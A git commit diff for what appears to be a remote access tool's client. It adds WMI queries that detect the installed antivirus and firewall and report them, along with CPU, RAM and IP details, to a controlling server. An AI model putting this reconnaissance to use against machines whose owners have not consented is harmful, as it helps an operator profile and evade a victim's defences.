Added Antivirus & Firewall detection

This commit is contained in:
MaxXor 2014-07-18 18:23:04 +02:00
parent 68061e2d12
commit bc814904c4
3 changed files with 47 additions and 1 deletions

View File

@ -320,7 +320,7 @@ public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo
{
try
{
string[] infoCollection = new string[16];
string[] infoCollection = new string[20];
infoCollection[0] = "Processor (CPU)";
infoCollection[1] = SystemCore.GetCpu();
infoCollection[2] = "Memory (RAM)";
@ -337,6 +337,10 @@ public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo
infoCollection[13] = SystemCore.GetLanIp();
infoCollection[14] = "WAN IP Address";
infoCollection[15] = SystemCore.WANIP;
infoCollection[16] = "Antivirus";
infoCollection[17] = SystemCore.GetAntivirus();
infoCollection[18] = "Firewall";
infoCollection[19] = SystemCore.GetFirewall();
new Core.Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);
}
catch

View File

@ -162,5 +162,11 @@ public static unsafe Bitmap GetDiffDesktop(Bitmap bmp, Bitmap bmp2)
return bmpRes;
}
public static bool IsWindowsXP()
{
var OsVersion = Environment.OSVersion.Version;
return OsVersion.Major == 5 && OsVersion.Minor >= 1;
}
}
}

View File

@ -162,6 +162,42 @@ public static string GetLanIp()
return (localIP == "-") ? localIP : localIP.Remove(localIP.Length - 2); ;
}
public static string GetAntivirus()
{
try
{
string AntivirusName = string.Empty;
string Scope = (Helper.IsWindowsXP()) ? "root\\SecurityCenter" : "root\\SecurityCenter2";
string Query = "SELECT * FROM AntivirusProduct";
ManagementObjectSearcher searcher = new ManagementObjectSearcher(Scope, Query);
foreach (ManagementObject Mobject in searcher.Get())
AntivirusName = Mobject["displayName"].ToString();
return AntivirusName;
}
catch
{
return "Unknown";
}
}
public static string GetFirewall()
{
try
{
string FirewallName = string.Empty;
string Scope = (Helper.IsWindowsXP()) ? "root\\SecurityCenter" : "root\\SecurityCenter2";
string Query = "SELECT * FROM FirewallProduct";
ManagementObjectSearcher searcher = new ManagementObjectSearcher(Scope, Query);
foreach (ManagementObject Mobject in searcher.Get())
FirewallName = Mobject["displayName"].ToString();
return FirewallName;
}
catch
{
return "Unknown";
}
}
public static void InitializeGeoIp()
{
GeoIP gIP = new GeoIP();